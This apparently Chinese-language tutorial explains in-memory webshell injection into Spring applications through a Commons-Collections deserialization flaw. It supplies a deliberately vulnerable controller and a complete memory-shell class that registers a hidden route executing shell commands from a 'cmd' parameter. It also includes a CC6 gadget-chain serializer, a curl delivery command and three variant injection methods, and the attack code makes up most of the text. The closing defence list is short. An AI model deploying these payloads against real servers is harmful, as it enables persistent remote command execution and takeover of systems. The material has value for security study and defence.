spring回显方式在代码层面的复现(内存马系列篇十四)
字数 1259 2025-08-11 22:57:12

Spring内存马注入技术详解

一、环境搭建

1.1 所需环境

  • Spring Boot 2.5.0
  • Commons-Collections 3.2.1

1.2 漏洞环境搭建

创建一个包含反序列化漏洞的Controller:

package com.roboterh.vuln.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream = request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!");
    }
}

二、内存马注入方式

2.1 Way 1 - 通过RequestContextHolder获取上下文

2.1.1 内存马实现类

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class SpringMemshell extends AbstractTranslet {
    static {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
                .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        
        Method method2 = null;
        try {
            method2 = SpringMemshell.class.getMethod("test");
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
        
        PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        
        SpringMemshell evilController = new SpringMemshell();
        mappingHandlerMapping.registerMapping(info, evilController, method2);
    }

    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

2.1.2 利用CC6链进行注入

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ bytes });
        setFieldValue(obj, "_name", "1");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        InstantiateFactory instantiateFactory = new InstantiateFactory(
            com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,
            new Class[]{javax.xml.transform.Templates.class},
            new Object[]{obj}
        );

        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
        ConstantTransformer constantTransformer = new ConstantTransformer(1);
        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        setFieldValue(outerMap,"factory",factoryTransformer);
        outerMap.remove("keykey");
        serialize(expMap);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }
}

2.1.3 触发漏洞

curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"

2.2 Way 2 - 通过ContextLoader获取上下文

2.2.1 限制条件

  1. 需要配置ContextLoaderListener监听器
  2. 需要RequestMappingHandlerMappingbean存在于Root Context中

2.2.2 实现差异

仅需替换获取上下文的方式:

// 替换前
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
        .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 替换后
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

2.3 Way 3 - 使用DefaultAnnotationHandlerMapping

2.3.1 实现代码

@Controller
public class SpringMemshell1 extends AbstractTranslet {
    static {
        ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes()
                .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        try {
            context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
        
        DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
        
        try {
            Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
            registerHandler.setAccessible(true);
            registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @RequestMapping("/RoboTerh")
    public void test(HttpServletRequest request, HttpServletResponse response) {
        // 命令执行代码同Way 1
    }

    // transform方法同Way 1
}

2.3.2 限制条件

  • 仅适用于低版本Spring框架
  • 高版本中DefaultAnnotationHandlerMapping已被其他类替换

2.4 Way 4 - 使用detectHandlerMethods方法

2.4.1 实现代码

// 1.获取上下文环境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes()
        .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 2.通过调用registerSingleton注册一个bean
try {
    context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
    e.printStackTrace();
}

// 3.获取RequestMappingHandlerMapping这个实现类
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 4.反射获取对应的detectHandlerMethods
try {
    Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
    registerHandler.setAccessible(true);
    registerHandler.invoke(requestMappingHandlerMapping, "test");
} catch (Exception e) {
    e.printStackTrace();
}

2.4.2 实现原理

  1. 创建一个带有@Controller注解的Singleton
  2. 通过RequestMappingHandlerMapping反射获取detectHandlerMethods方法
  3. 调用该方法自动解析注解并注册路由

三、技术对比

方式 适用版本 关键API 特点
Way 1 通用 RequestMappingHandlerMapping.registerMapping 直接构造映射关系
Way 2 需配置监听器 ContextLoader.getCurrentWebApplicationContext 需要额外配置
Way 3 低版本 DefaultAnnotationHandlerMapping.registerHandler 已过时
Way 4 通用 AbstractHandlerMethodMapping.detectHandlerMethods 自动解析注解

四、防御措施

  1. 输入验证:对反序列化操作进行严格的白名单控制
  2. 依赖管理:及时更新有漏洞的依赖库
  3. 安全配置:禁用不必要的功能和服务
  4. 运行时防护:使用RASP技术检测异常行为
  5. 代码审计:定期检查代码中的反序列化点

五、总结

本文详细介绍了四种Spring内存马注入技术,重点分析了通过反序列化漏洞动态注册恶意Controller的实现方式。Way 1和Way 4是较为通用的实现方式,而Way 2和Way 3则有特定的使用限制。理解这些技术原理对于防御此类攻击至关重要。

Spring内存马注入技术详解 一、环境搭建 1.1 所需环境 Spring Boot 2.5.0 Commons-Collections 3.2.1 1.2 漏洞环境搭建 创建一个包含反序列化漏洞的Controller: 二、内存马注入方式 2.1 Way 1 - 通过RequestContextHolder获取上下文 2.1.1 内存马实现类 2.1.2 利用CC6链进行注入 2.1.3 触发漏洞 2.2 Way 2 - 通过ContextLoader获取上下文 2.2.1 限制条件 需要配置 ContextLoaderListener 监听器 需要 RequestMappingHandlerMapping bean存在于Root Context中 2.2.2 实现差异 仅需替换获取上下文的方式: 2.3 Way 3 - 使用DefaultAnnotationHandlerMapping 2.3.1 实现代码 2.3.2 限制条件 仅适用于低版本Spring框架 高版本中 DefaultAnnotationHandlerMapping 已被其他类替换 2.4 Way 4 - 使用detectHandlerMethods方法 2.4.1 实现代码 2.4.2 实现原理 创建一个带有 @Controller 注解的Singleton 通过 RequestMappingHandlerMapping 反射获取 detectHandlerMethods 方法 调用该方法自动解析注解并注册路由 三、技术对比 | 方式 | 适用版本 | 关键API | 特点 | |------|---------|---------|------| | Way 1 | 通用 | RequestMappingHandlerMapping.registerMapping | 直接构造映射关系 | | Way 2 | 需配置监听器 | ContextLoader.getCurrentWebApplicationContext | 需要额外配置 | | Way 3 | 低版本 | DefaultAnnotationHandlerMapping.registerHandler | 已过时 | | Way 4 | 通用 | AbstractHandlerMethodMapping.detectHandlerMethods | 自动解析注解 | 四、防御措施 输入验证 :对反序列化操作进行严格的白名单控制 依赖管理 :及时更新有漏洞的依赖库 安全配置 :禁用不必要的功能和服务 运行时防护 :使用RASP技术检测异常行为 代码审计 :定期检查代码中的反序列化点 五、总结 本文详细介绍了四种Spring内存马注入技术,重点分析了通过反序列化漏洞动态注册恶意Controller的实现方式。Way 1和Way 4是较为通用的实现方式,而Way 2和Way 3则有特定的使用限制。理解这些技术原理对于防御此类攻击至关重要。